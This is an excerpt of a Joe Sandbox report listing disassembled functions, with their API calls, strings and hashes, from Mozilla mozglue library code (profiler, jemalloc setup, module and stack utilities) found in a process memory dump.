Function 6C3AF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C374A68), ref: 6C3A945E
Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C3A9470
Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C3A9482
Part of subcall function 6C3A9420: __Init_thread_footer.LIBCMT ref: 6C3A949F

GetCurrentThreadId.KERNEL32 ref: 6C3AF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C3AF8F9

Part of subcall function 6C376390: GetCurrentThreadId.KERNEL32 ref: 6C3763D0
Part of subcall function 6C376390: AcquireSRWLockExclusive.KERNEL32 ref: 6C3763DF
Part of subcall function 6C376390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C37640E

ReleaseSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3AF93A
GetCurrentThreadId.KERNEL32 ref: 6C3AF98A
GetCurrentThreadId.KERNEL32 ref: 6C3AF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C3AF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C3AF716

Part of subcall function 6C3A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3A94EE
Part of subcall function 6C3A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C3A9508

Part of subcall function 6C36B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C36B5E0

GetCurrentThreadId.KERNEL32 ref: 6C3AF739
AcquireSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3AF746
GetCurrentThreadId.KERNEL32 ref: 6C3AF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C3E385B,00000002,?,?,?,?,?), ref: 6C3AF829
free.MOZGLUE(?,?,00000000,?), ref: 6C3AF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C3AF866
free.MOZGLUE(?), ref: 6C3AFA0C

Part of subcall function 6C375E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C3755E1), ref: 6C375E8C
Part of subcall function 6C375E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C375E9D
Part of subcall function 6C375E60: GetCurrentThreadId.KERNEL32 ref: 6C375EAB
Part of subcall function 6C375E60: GetCurrentThreadId.KERNEL32 ref: 6C375EB8
Part of subcall function 6C375E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C375ECF
Part of subcall function 6C375E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C375F27
Part of subcall function 6C375E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C375F47
Part of subcall function 6C375E60: GetCurrentProcess.KERNEL32 ref: 6C375F53
Part of subcall function 6C375E60: GetCurrentThread.KERNEL32 ref: 6C375F5C
Part of subcall function 6C375E60: GetCurrentProcess.KERNEL32 ref: 6C375F66
Part of subcall function 6C375E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C375F7E

free.MOZGLUE(?), ref: 6C3AF9C5
free.MOZGLUE(?), ref: 6C3AF9DA

Strings

" attempted to re-register as ", xrefs: 6C3AF858
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C3AF9A6
Thread , xrefs: 6C3AF789
[D %d/%d] profiler_register_thread(%s), xrefs: 6C3AF71F

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 5877ffab7250f10f346425e7698260ed956d5725fda685fba1257e1543dbaab6
Instruction ID: 7a3e8a902697758412c0be862f2596cba9dcd303e3395f6120620eef82216f4a
Opcode Fuzzy Hash: 5877ffab7250f10f346425e7698260ed956d5725fda685fba1257e1543dbaab6
Instruction Fuzzy Hash: F08105716043009FDB10DF64C840AAAB7B5EFC9308F45452EE8859BB51EB31E85ACFA3

Function 6C3AEE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C374A68), ref: 6C3A945E
Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C3A9470
Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C3A9482
Part of subcall function 6C3A9420: __Init_thread_footer.LIBCMT ref: 6C3A949F

GetCurrentThreadId.KERNEL32 ref: 6C3AEE60
AcquireSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3AEE6D
ReleaseSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3AEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C3AEEA5
CloseHandle.KERNEL32(?), ref: 6C3AEEB4
free.MOZGLUE(00000000), ref: 6C3AEEBB
GetCurrentThreadId.KERNEL32 ref: 6C3AEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C3AEECF

Part of subcall function 6C3ADE60: GetCurrentThreadId.KERNEL32 ref: 6C3ADE73
Part of subcall function 6C3ADE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C374A68), ref: 6C3ADE7B
Part of subcall function 6C3ADE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C374A68), ref: 6C3ADEB8
Part of subcall function 6C3ADE60: free.MOZGLUE(00000000,?,6C374A68), ref: 6C3ADEFE
Part of subcall function 6C3ADE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C3ADF38

Part of subcall function 6C39CBE8: GetCurrentProcess.KERNEL32(?,6C3631A7), ref: 6C39CBF1
Part of subcall function 6C39CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3631A7), ref: 6C39CBFA

GetCurrentThreadId.KERNEL32 ref: 6C3AEF1E
AcquireSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3AEF2B
ReleaseSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3AEF59
GetCurrentThreadId.KERNEL32 ref: 6C3AEFB0
AcquireSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3AEFBD
ReleaseSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3AEFE1
GetCurrentThreadId.KERNEL32 ref: 6C3AEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C3AF000

Part of subcall function 6C3A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3A94EE
Part of subcall function 6C3A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C3A9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C3AF02F

Part of subcall function 6C3AF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C3AF09B
Part of subcall function 6C3AF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C3AF0AC
Part of subcall function 6C3AF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C3AF0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C3AEED7
[I %d/%d] profiler_pause, xrefs: 6C3AF008

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: e51d0fe009c54fab2501b247150b63f5fef7099f55b02f33e0bf47b0a1c9d1ab
Instruction ID: 235d0334f639a18c49b765467da302ee48f8b8fa6eb77ee7a039aeea2a886a03
Opcode Fuzzy Hash: e51d0fe009c54fab2501b247150b63f5fef7099f55b02f33e0bf47b0a1c9d1ab
Instruction Fuzzy Hash: 7251D335600314DFDB619BA4E408BA53BBCEB8E31CF110527E91587B40D7B64825CFA6

Function 6C39D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C3EE804), ref: 6C39D047
GetSystemInfo.KERNEL32(?), ref: 6C39D093
__Init_thread_footer.LIBCMT ref: 6C39D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C3EE810,00000040), ref: 6C39D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C3EE7B8,00001388), ref: 6C39D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C3EE744,00001388), ref: 6C39D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C3EE784,00001388), ref: 6C39D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C3EE7DC,00001388), ref: 6C39D1B1

Strings

<jemalloc>, xrefs: 6C39D268, 6C39D311
: (malloc) Unsupported character in malloc options: ', xrefs: 6C39D322
MALLOC_OPTIONS, xrefs: 6C39D0CB
MOZ_CRASH(), xrefs: 6C39D277
Compile-time page size does not divide the runtime one., xrefs: 6C39D26D

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: ec7613602b1caf35c7cdaf1520a0d55bb54a40634c5a6a55ecc6dabdfd58de60
Instruction ID: 4207d07f361fca71f29afc08a86b6cf8af77f0a0af0f21ccbacf8da976bd7acd
Opcode Fuzzy Hash: ec7613602b1caf35c7cdaf1520a0d55bb54a40634c5a6a55ecc6dabdfd58de60
Instruction Fuzzy Hash: 71810470B043109BEBA09F69D956BA937BDEB4E708F10052BE9419BF80E7759805CFD2

Function 6C377FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C378007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C37801D

Part of subcall function 6C37CA10: malloc.MOZGLUE(?), ref: 6C37CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C37802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C37803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C37808D

Part of subcall function 6C37CA10: mozalloc_abort.MOZGLUE(?), ref: 6C37CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C37809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C3780B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C3780DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3780ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3780FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C37810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C378133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C378149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C378167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C37817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C378199

Strings

0>:l, xrefs: 6C37811E

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>:l
API String ID: 2721933968-2654411821
Opcode ID: 21698c46c7a1dc67aa6f9db49cc34eb2971a10ee88b687b604150dfa32d31f3b
Instruction ID: 102af54dcb30c637e87eb4fb7ce7c31bfef2ba301acffa71c2954492ad63a919
Opcode Fuzzy Hash: 21698c46c7a1dc67aa6f9db49cc34eb2971a10ee88b687b604150dfa32d31f3b
Instruction Fuzzy Hash: DA5184B2E002145BDF10DBA5EC84AEFB7B9AF49224F240125E855F7741E735A904CFB6

Function 6C375E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C375E9D

Part of subcall function 6C385B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C3856EE,?,00000001), ref: 6C385B85
Part of subcall function 6C385B50: EnterCriticalSection.KERNEL32(6C3EF688,?,?,?,6C3856EE,?,00000001), ref: 6C385B90
Part of subcall function 6C385B50: LeaveCriticalSection.KERNEL32(6C3EF688,?,?,?,6C3856EE,?,00000001), ref: 6C385BD8
Part of subcall function 6C385B50: GetTickCount64.KERNEL32 ref: 6C385BE4

GetCurrentThreadId.KERNEL32 ref: 6C375EAB
GetCurrentThreadId.KERNEL32 ref: 6C375EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C375ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C376017

Part of subcall function 6C364310: moz_xmalloc.MOZGLUE(00000010,?,6C3642D2), ref: 6C36436A
Part of subcall function 6C364310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C3642D2), ref: 6C364387

moz_xmalloc.MOZGLUE(00000004), ref: 6C375F47
GetCurrentProcess.KERNEL32 ref: 6C375F53
GetCurrentThread.KERNEL32 ref: 6C375F5C
GetCurrentProcess.KERNEL32 ref: 6C375F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C375F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C375F27

Part of subcall function 6C37CA10: mozalloc_abort.MOZGLUE(?), ref: 6C37CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C3755E1), ref: 6C375E8C

Part of subcall function 6C37CA10: malloc.MOZGLUE(?), ref: 6C37CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C3755E1), ref: 6C37605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C3755E1), ref: 6C3760CC

Strings

GeckoMain, xrefs: 6C375ECE, 6C376015

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 96da2ee93392a7e3610b2d1ecaae73c52776628147d604d044eadf41c01eb6ff
Instruction ID: 046ea15f6d5d800965bf8c104763df7d016c5a2bac39c66bbea13522f88b3623
Opcode Fuzzy Hash: 96da2ee93392a7e3610b2d1ecaae73c52776628147d604d044eadf41c01eb6ff
Instruction Fuzzy Hash: 1771C0B0604740CFD765DF24D480AAABBF4BF99308F14492EE4868BB51D775E848CFA6

Function 6C379590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C3631C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C363217
Part of subcall function 6C3631C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C363236
Part of subcall function 6C3631C0: FreeLibrary.KERNEL32 ref: 6C36324B
Part of subcall function 6C3631C0: __Init_thread_footer.LIBCMT ref: 6C363260
Part of subcall function 6C3631C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C36327F
Part of subcall function 6C3631C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C36328E
Part of subcall function 6C3631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C3632AB
Part of subcall function 6C3631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C3632D1
Part of subcall function 6C3631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C3632E5
Part of subcall function 6C3631C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C3632F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C379675
__Init_thread_footer.LIBCMT ref: 6C379697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C3796E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C379707
__Init_thread_footer.LIBCMT ref: 6C37971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C379773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C3797B7
FreeLibrary.KERNEL32 ref: 6C3797D0
FreeLibrary.KERNEL32 ref: 6C3797EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C379824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C379670
MapViewOfFileNuma2, xrefs: 6C3797B1
NtMapViewOfSection, xrefs: 6C379701
ntdll.dll, xrefs: 6C3796E3

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: f4248e99e39d4dbe545b032a602912eeb06c497ca491d1b12de6690ab95191cd
Instruction ID: 4772cd39af1c7b835315b31f886dfa60ce604e0834c9cd726897f60bcd5f5396
Opcode Fuzzy Hash: f4248e99e39d4dbe545b032a602912eeb06c497ca491d1b12de6690ab95191cd
Instruction Fuzzy Hash: 46612570600305DBDF20DF69E884B9A7BB9EB8E368F00461AE95597740D7789844CFA5

Function 6C3C6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C3EF618), ref: 6C3C6694
GetThreadId.KERNEL32(?), ref: 6C3C66B1
GetCurrentThreadId.KERNEL32 ref: 6C3C66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C3C66E1
EnterCriticalSection.KERNEL32(6C3EF618), ref: 6C3C6734
GetCurrentProcess.KERNEL32 ref: 6C3C673A
LeaveCriticalSection.KERNEL32(6C3EF618), ref: 6C3C676C
GetCurrentThread.KERNEL32 ref: 6C3C67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C3C6868
RtlCaptureContext.NTDLL ref: 6C3C687F

Strings

WalkStack64, xrefs: 6C3C6890

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: e98cd04a0620d3eccdef80e6ae0e0d250e3c4f44f3e74598b0466fc931b5aefb
Instruction ID: 041ee2697be061206030c6ae920b2a64e32d125de503eb4d9e0c37e648eb9da9
Opcode Fuzzy Hash: e98cd04a0620d3eccdef80e6ae0e0d250e3c4f44f3e74598b0466fc931b5aefb
Instruction Fuzzy Hash: 9C517C71A09301AFDB21DF24D844A6EBBF8BF8D718F00492EF59997640D771A9148F93

Function 6C3ADE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C374A68), ref: 6C3A945E
Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C3A9470
Part of subcall function 6C3A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C3A9482
Part of subcall function 6C3A9420: __Init_thread_footer.LIBCMT ref: 6C3A949F

GetCurrentThreadId.KERNEL32 ref: 6C3ADE73
GetCurrentThreadId.KERNEL32 ref: 6C3ADF7D
AcquireSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3ADF8A
ReleaseSRWLockExclusive.KERNEL32(6C3EF4B8), ref: 6C3ADFC9
GetCurrentThreadId.KERNEL32 ref: 6C3ADFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C3AE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C374A68), ref: 6C3ADE7B

Part of subcall function 6C3A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3A94EE
Part of subcall function 6C3A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C3A9508

Part of subcall function 6C39CBE8: GetCurrentProcess.KERNEL32(?,6C3631A7), ref: 6C39CBF1
Part of subcall function 6C39CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3631A7), ref: 6C39CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C374A68), ref: 6C3ADEB8
free.MOZGLUE(00000000,?,6C374A68), ref: 6C3ADEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C3ADF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C3ADE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C3AE00E
<none>, xrefs: 6C3ADFD7

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

